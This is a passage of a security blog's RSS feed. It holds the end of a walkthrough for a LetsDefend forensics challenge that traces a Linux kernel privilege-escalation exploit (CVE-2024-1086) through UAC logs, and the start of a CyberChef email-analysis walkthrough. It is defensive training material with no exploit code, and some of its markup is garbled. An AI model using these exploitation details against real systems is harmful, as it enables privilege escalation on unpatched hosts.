&lt;code&gt;a1l4m&lt;/code&gt;, but later gains root access, we have clear evidence that the exploit was used to elevate privileges as part of the attack chain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/568716b2a85cb466067b9fe3aa045da5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-parent-process-id-ppid-associated-with-the-malicious-process&#34;&gt;Question 5: What is the Parent Process ID (PPID) associated with the malicious process?&#xA;&lt;/h3&gt;&lt;p&gt;The next step in our investigation is to determine the Parent Process ID (PPID) of the malicious process we identified in &lt;strong&gt;Question 3&lt;/strong&gt;. For this, we&amp;rsquo;ll examine the &lt;code&gt;pstree_-p_-n.txt&lt;/code&gt; log generated by UAC. This log displays the system&amp;rsquo;s process tree at the time of collection, including parent-child relationships and associated PIDs.&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve opened the log, use your text editor&amp;rsquo;s &lt;em&gt;Find&lt;/em&gt; function to search for either the name of the binary (&lt;code&gt;exploit&lt;/code&gt;) or the PID we found earlier. You&amp;rsquo;ll see a line leading up and to the left of the process—that&amp;rsquo;s the visual representation of its parent relationship in the tree.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a2ef1a87da6f33243562d9d77a281a29_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the malicious process in the process tree&lt;/p&gt;&#xA;&lt;p&gt;Follow that line upward until you reach the parent: &lt;code&gt;systemd&lt;/code&gt; (PID 1686). For context in Linux, &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;systemd&lt;/em&gt;&lt;/a&gt; is the system and service manager used to manage user sessions and services. Seeing it as the parent process suggests the malicious binary was likely executed as part of a user session or terminal command, rather than being launched by another malicious process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;373&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/5503387f509665576563ea84f17b09bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the parent process of the malicious process&lt;/p&gt;&#xA;&lt;p&gt;Understanding the parent process is important because it helps us determine how the attacker executed the binary and whether it was user-initiated or part of a larger chain. All this data helps build a narrative of the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/5b94e477140e2856720d544ab431425c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-are-the-operating-system-and-its-version-on-the-compromised-server&#34;&gt;Question 6: What are the operating system and its version on the compromised server?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve spent some time analyzing the malicious privilege escalation exploit — now it&amp;rsquo;s time to collect information about the victim&amp;rsquo;s operating system environment. This can help us understand whether the system was running a version of the OS that may have been vulnerable to a specific privilege escalation exploit.&lt;/p&gt;&#xA;&lt;p&gt;The first place we&amp;rsquo;ll check is the &lt;code&gt;hostnamectl.txt&lt;/code&gt; log file located in the &lt;code&gt;live_response/network&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;491&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/2cf711a073a7c04002cca7d13231d132_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The logged output of hostnamectl&lt;/p&gt;&#xA;&lt;p&gt;While this log contains some useful details, the OS version listed doesn&amp;rsquo;t match the required answer format. No problem! Let&amp;rsquo;s pivot to a second log file: &lt;code&gt;uname_-a.txt&lt;/code&gt;, found in the &lt;code&gt;live_response/system&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;After opening this file, we can identify a slightly different version of Ubuntu where the output of &lt;code&gt;uname -a&lt;/code&gt; matches the expected answer format for the challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/f0066dd4246a6d25864471ce1de7d78d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The logged output of uname -a&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/277b76f91cbf438fe654dd14e6e8f5f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-kernel-version-of-the-compromised-system&#34;&gt;Question 7: What is the kernel version of the compromised system?&#xA;&lt;/h3&gt;&lt;p&gt;Answering Question 7 can be accomplished the same way we approached the last question. We can identify the kernel version of the compromised system by checking either the &lt;code&gt;hostnamectl.txt&lt;/code&gt; or &lt;code&gt;uname_-a.txt&lt;/code&gt; logs.&lt;/p&gt;&#xA;&lt;p&gt;This time, both logs display the same kernel version, so either one will give us the correct answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;146&#34; height=&#34;545&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a047fc0e64f750c0d1500150e6d47cc2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the kernel version in the hostnamectl log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/8a1f0961a9f7b9a2dee6dbe8b7ad02e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the kernel version in the uname -a log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/1620332e4b91749499f4c7d053e31327_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-most-recent-cve-number-associated-with-the-vulnerabilities-exploited-in-thisattack&#34;&gt;Question 8: What is the most recent CVE number associated with the vulnerabilities exploited in this attack?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question — and now it&amp;rsquo;s time to put everything we&amp;rsquo;ve learned into practice by identifying the most recent &lt;strong&gt;Common Vulnerabilities and Exposures (CVE)&lt;/strong&gt; number associated with the exploit.&lt;/p&gt;&#xA;&lt;p&gt;To start, let&amp;rsquo;s head back to the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; entry for the exploit we analyzed in &lt;strong&gt;Question 2&lt;/strong&gt;. You&amp;rsquo;ll notice two CVE tags listed: &lt;code&gt;CVE-2021-4034&lt;/code&gt; and &lt;code&gt;CVE-2024-1086&lt;/code&gt;. Since we&amp;rsquo;re looking for the most recent one, our answer is &lt;strong&gt;CVE-2024-1086&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1440px&#34; data-flex-grow=&#34;600&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/bb70d4a48456d86e32fc16ad84680aff_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the most recent CVE number&lt;/p&gt;&#xA;&lt;p&gt;Great! We&amp;rsquo;ve found our answer. But let&amp;rsquo;s dig a little deeper by checking out the entry for this CVE in the &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;National Vulnerability Database (NVD)&lt;/strong&gt;&lt;/a&gt;. This additional intelligence tells us that we&amp;rsquo;re dealing with a &lt;em&gt;Linux Kernel Use-After-Free&lt;/em&gt; vulnerability, exploitable to achieve local privilege escalation. It affects several versions of the Linux kernel:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;From (including) 6.2 Up to (excluding) 6.6.15&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  title=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NVD&lt;/strong&gt;&#xA;_A use-after-free vulnerability in the Linux kernel&amp;rsquo;s netfilter: nf_tables component can be exploited to achieve local&amp;hellip;_nvd.nist.gov&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This confirms that the kernel version running on the victim&amp;rsquo;s system was outdated and vulnerable. It&amp;rsquo;s a great reminder of the importance of always keeping on top of your patching game.&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s submit our answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/e1a4d0331cf414644a7517ec4bb61ca9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;506px&#34; data-flex-grow=&#34;211&#34; height=&#34;379&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0ef798228f8f43928a41c4713abf456_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission accomplished! By poring over the logs generated by UAC, we were able to identify and correlate key artifacts and uncover a privilege escalation exploit using &lt;em&gt;CVE-2024€“1086&lt;/em&gt;. Now that we&amp;rsquo;ve put our Linux forensics skills into practice and confirmed the malicious activity, it&amp;rsquo;s time to close out this walkthrough of the &lt;em&gt;Kernel Exploit&lt;/em&gt; challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another awesome challenge! I chose this one to start dipping my toes into the world of Linux forensics. Coming from a Windows background, it&amp;rsquo;s definitely a different skillset with a different set of tools. This challenge was a great blend of learning how to work with the &lt;em&gt;UAC&lt;/em&gt; triage utility, exploring Linux artifacts, and leveraging threat intelligence to better understand exploitation and system compromise. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/kernel-exploit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UAC:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/tclahr/uac&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/tclahr/uac&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UAC Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tclahr.github.io/uac-docs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tclahr.github.io/uac-docs/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Exploit Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK —Privilege Escalation (TA0004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Systemd:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database (NVD):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  —  The Planet’s Prestige Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/</link>
            <pubDate>Sun, 22 Jun 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/eac5cb7c20bcaaca4be4e983a73b590f_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  —  The Planet’s Prestige Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinethe-planets-prestige-walkthrough&#34;&gt;Blue Team Labs Online — The Planet’s Prestige Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-email-header-and-content-analysis-challenge-using-cyberchef--zipdumppy&#34;&gt;An Email Header and Content Analysis Challenge Using CyberChef &amp;amp; zipdump.py.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;eac5cb7c20bcaaca4be4e983a73b590f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/eac5cb7c20bcaaca4be4e983a73b590f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;The Planet’s Prestige&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This challenge will take us on a thrilling intergalactic rescue mission starting with just a single email. Prepare for blast off!&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;CoCanDa, a planet known as ‘The Heaven of the Universe’ has been having a bad year. A series of riots have taken place across the planet due to the frequent abduction of citizens, known as CoCanDians, by a mysterious force. CoCanDa’s Planetary President arranged a war-room with the best brains and military leaders to work on a solution. After the meeting concluded the President was informed his daughter had disappeared. CoCanDa agents spread across multiple planets were working day and night to locate her. Two days later and there’s no update on the situation, no demand for ransom, not even a single clue regarding the whereabouts of the missing people. On the third day a CoCanDa representative, an Army Major on Earth, received an email.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this challenge, the stakes are high: the daughter of the President of planet CoCanDa has vanished. While agents are scattered across the system searching for her, we’re plugging away in the SOC, keeping systems safe. Suddenly, an Army Major back on Earth receives a suspicious email — could it be a clue? It’s our job to find out.&lt;/p&gt;&#xA;&lt;p&gt;For this investigation, we’ll be leveraging &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;, &lt;em&gt;“The Cyber Swiss Army Knife,”&lt;/em&gt; to perform the bulk of our analysis. When we need to dig deeper, we’ll call in reinforcements with &lt;em&gt;Didier Stevens’&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;zipdump.py&lt;/strong&gt;&lt;/a&gt; utility to aid in the investigation. There are many ways to approach this challenge, and this is just one path, but the goal is to give you a working knowledge of &lt;em&gt;CyberChef&lt;/em&gt; you can take back with you to planet Earth. Let’s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;em&gt;Blue Team Labs Online (or any educational lab/challenge/range),&lt;/em&gt; it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I’m going to skip step-by-step setup directions of &lt;strong&gt;REMnux&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; but if you’d like to set up your own environment, please follow the guide provided by &lt;strong&gt;REMnux&lt;/strong&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3&#34;&gt;[&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3-1&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3-2&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-email-service-used-by-the-malicious-actor&#34;&gt;Question 1: What is the email service used by the malicious actor?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off our investigation by analyzing the email received by the CoCanDa representative. First, extract the ZIP file containing the artifact — &lt;code&gt;A Hope to CoCanDa.eml&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We have a few methods we can use to open the &lt;code&gt;.eml&lt;/code&gt; file, including a mail client or a simple text editor. But for this challenge, we&amp;rsquo;re going to take a different approach and leverage &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;, a multipurpose data manipulation and analysis tool, to perform the full investigation.&lt;/p&gt;&#xA;&lt;p&gt;If you’re using REMnux like me, &lt;em&gt;CyberChef&lt;/em&gt; is already built into the environment, but the web-based version works just as well — your choice! To start, open &lt;em&gt;CyberChef&lt;/em&gt; and drag the &lt;code&gt;.eml&lt;/code&gt; file into the input window. In the output window, we&amp;rsquo;ll be able to analyze the email headers.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine the email service that the message originated from. To do this, focus on the &lt;em&gt;“Received”&lt;/em&gt; field, which shows all the mail servers the message passed through before delivery — the first one reveals the sender’s mail server as the origin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0616b023c2ec3c56de7774935a408659_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;235px&#34; data-flex-grow=&#34;98&#34; height=&#34;815&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-the-planet-s-prestige-walkthrough/0616b023c2ec3c56de7774935a408659_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the originating mail server&lt;/p&gt;&#xA;&lt;p&gt;This is valuable information to determine the source of the email and help uncover any potential spoofing that may be occurring.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;347e95d7dcc9dedbbe18cef147a20a47_MD5.png&#34; 